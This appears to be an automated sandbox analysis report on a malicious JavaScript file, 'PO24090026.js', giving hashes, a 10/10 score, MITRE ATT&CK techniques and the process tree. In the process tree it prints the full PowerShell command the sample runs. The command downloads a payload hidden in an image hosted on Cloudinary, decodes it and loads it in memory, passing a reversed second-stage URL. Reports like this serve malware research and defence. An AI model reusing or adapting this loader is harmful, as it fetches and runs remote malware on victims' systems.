943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-12-2024 00:07

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General

Target

PO24090026.js
Size

75KB
MD5

2e461076f6618e8f34ac4ada5bcc55fd
SHA1

343a6c8b272ee7c261c9a3fb1eda91f769cc18ed
SHA256

943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0
SHA512

c4d0fc5f78321824c32493491cf0e29bb50a24294eb08e6934d206e4adeaa1aa1f7ddc2f443fe5e4ba9bb8d534443af61e9bdb8578573c66ab2f2b754d599985
SSDEEP

1536:8Z4xzQ6VsYE/D5OK1hoFPqd50a+X7psEBCCB29f+JrdWXOUPmMcA9KBwbBs:8SzQ6Vo/9RzY

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2528	powershell.exe
7	2528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2528	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2528	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2528	2384	wscript.exe	30
PID 2384 wrote to memory of 2528	2384	wscript.exe	30
PID 2384 wrote to memory of 2528	2384	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PO24090026.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$parkinson = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$paunches = New-Object System.Net.WebClient;$hebiter = $paunches.DownloadData($parkinson);$tsarevichi = [System.Text.Encoding]::UTF8.GetString($hebiter);$shilpit = '<<BASE64_START>>';$riotise = '<<BASE64_END>>';$percylite = $tsarevichi.IndexOf($shilpit);$marbleization = $tsarevichi.IndexOf($riotise);$percylite -ge 0 -and $marbleization -gt $percylite;$percylite += $shilpit.Length;$Rybnik = $marbleization - $percylite;$overbill = $tsarevichi.Substring($percylite, $Rybnik);$unvaccinated = -join ($overbill.ToCharArray() | ForEach-Object { $_ })[-1..-($overbill.Length)];$autosave = [System.Convert]::FromBase64String($unvaccinated);$chemotropism = [System.Reflection.Assembly]::Load($autosave);$queef = [dnlib.IO.Home].GetMethod('VAI');$queef.Invoke($null, @('txt.tirb/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth', '$punkling', '$punkling', '$punkling', 'MSBuild', '$punkling', '$punkling','$punkling','$punkling','$punkling','$punkling','$punkling','1','$punkling','TaskName'));"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabD0A9.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarD0BC.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2528-4-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2528-5-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2528-6-0x00000000026A0000-0x00000000026A8000-memory.dmp

Filesize
32KB

Download
memory/2528-41-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download